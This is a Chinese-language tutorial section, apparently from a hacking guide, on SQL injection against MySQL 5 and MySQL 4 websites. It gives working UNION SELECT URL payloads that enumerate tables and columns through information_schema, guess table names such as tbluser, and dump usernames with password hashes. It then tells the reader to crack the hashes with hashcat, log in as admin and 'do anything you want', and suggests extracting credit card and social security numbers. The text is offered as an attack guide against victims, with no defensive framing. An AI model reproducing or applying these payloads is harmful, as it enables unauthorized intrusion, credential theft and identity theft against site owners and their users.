#0x05.e~MySQL 5或以上注入 在这里,我将向您展示如何访问运行MySQL 5或更高版本的服务器中的数据。 你使用url参数中的@@版本得到MySQL版本5.0.27标准。 版本5中的MySQL有一个名为information_schema的有用函数。 这是保存有关DB服务器中存在的表和列的信息的表。 也就是说,它包含站点的所有表和列的名称。 要获取表格列表,我们使用: table_name from information_schema.tables要获取列列表,我们使用: column_name from information_schema.columns因此,我们在示例中获取表列表的查询将是: <?phpsite.com/article.php?id=5+UNION+ALL+SELECT+table_name,2+FROM+information_schema.tables/* 是的,如果您在查找版本时必须使用unhex(hex()),则必须执行以下操作: <?phpsite.com/article.php?id=5+UNION+ALL+SELECT+unhex(hex(table_name)),2+FROM+information_schema.tables/*这将列出DB中存在的所有表。 出于我们的目的,我们将搜索包含用户和密码信息的表。 所以我们用这些信息查看可能的表格。 你甚至可以写下表名以供进一步参考和使用。 对于我的示例,我将使用tbluser作为包含用户和密码的表。 同样,要获取列列表,我们将查询为: <?phpsite.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM information_schema.columns/* 这将返回数据库服务器中存在的所有列。 现在从这个列表中,我们将查找用户名和密码的可能列。 对于我的注射,有两列保存这些信息。 它们分别是用户名和密码。 这就是我想要的专栏。 你必须搜索并检查列,直到你没有错误。 或者,要查找特定表中的列,您可以执行以下操作: <?phpsite.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name='tbluser' 这将显示表tbluser中的列。 但这可能无法始终基于PHP.INI,所以六角形。 让我告诉你我是如何知道上面两列属于表tbluser的。 现在让我展示如何显示存储在DB中的用户名和密码。 有一个名为concat()的函数允许我连接两列并在页面上显示。 我也将以十六进制形式使用分号。 它的十六进制值是0x3a(在开始时为零而不是字母o。) 我做的是: <?phpsite.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser/* 这给了我如下的用户名和密码: admin:9F14974D57DE204E37C11AEAC3EE4940这里密码是哈希的,在这种情况下,它是MD5。 现在你需要得到像hashcat,passwordpro(等)一样的哈希破解程序并破解哈希。 哈希值可能与SHA1,MD5等不同。或者有时可能会在页面上显示明文密码。 在这种情况下,当我破解时,我得到密码为sam207。 现在你进入管理员登录页面并以管理员身份登录。 然后你可以做任何你想做的事。 这就是MySQL版本5的全部内容。 #0x05.f~MySQL版本4注入现在说你的受害者有MySQL版本4.那么你将无法获得MySQL版本5中的表名和列名,因为它缺乏对information_schema.tables和information_schema.columns的支持。 所以现在你必须猜测表名和列名,直到你没有得到错误。 此外,如果MySQL版本低于5,您可能必须依赖显示的运气和错误消息。有时错误将为您提供表名称和列名称,并让您有一些想法猜测正确的表和列名称 ..说,错误报告错误中的xenu_article ..所以,你知道xenu_是表名中使用的前缀... 无论如何,让我们去MySQL版本4注入... 例如,你会这样做: <?phpsite.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+user/* 在这里,我猜测表名为user。 但是这给了我错误,因为DB上没有名称user的表。 现在我继续猜测表名,直到我没有得到错误。 当我将表名作为tbluser时,页面正常加载。 所以我开始知道表tbluser存在。 <?phpsite.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+tbluser/* 页面正常加载。 现在再次你必须猜测tbluser表中存在的列名。 我做了类似下面的事情: <?phpsite.com/article.php?id=5+UNION+ALL+SELECT+user_name,2+FRO+tbluser/*//这给了我错误,所以没有这个名字的专栏。 <?phpsite.com/article.php?id=5+UNION+ALL+SELECT+username,2+FROM+tbluser/* //它正常加载页面以及表中的用户名。 <?phpsite.com/article.php?id=5+UNION+ALL+SELECT+pass,2+FROM tbluser/*//它的错误再次表明tbluser中不存在列传递。 <?phpsite.com/article.php?id=5+UNION+ALL+SELECT+password,2+FROM+tbluser/* //通常使用密码哈希(或明文密码)加载的页面。 现在你可以这样做: <?phpsite.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser/* 这反馈给我: admin:9F14974D57DE204E37C11AEAC3EE4940现在我只需要登录该网站并做任何我想做的事情。 您可能尝试的几个表名称是:user(s),table_user(s),tbluser(s),tbladmin(s),admin(s),members(等)等。
如前所述,请务必查看错误,因为有时他们会为我们提供表名和列名错误... 如果数据库成立,你可以尝试这些方法以获得各种数据,例如信用卡号,社会保险号等等。 您需要做的就是找出列并将它们显示在易受攻击的页面上。 这就是用于访问秘密数据的注入。
|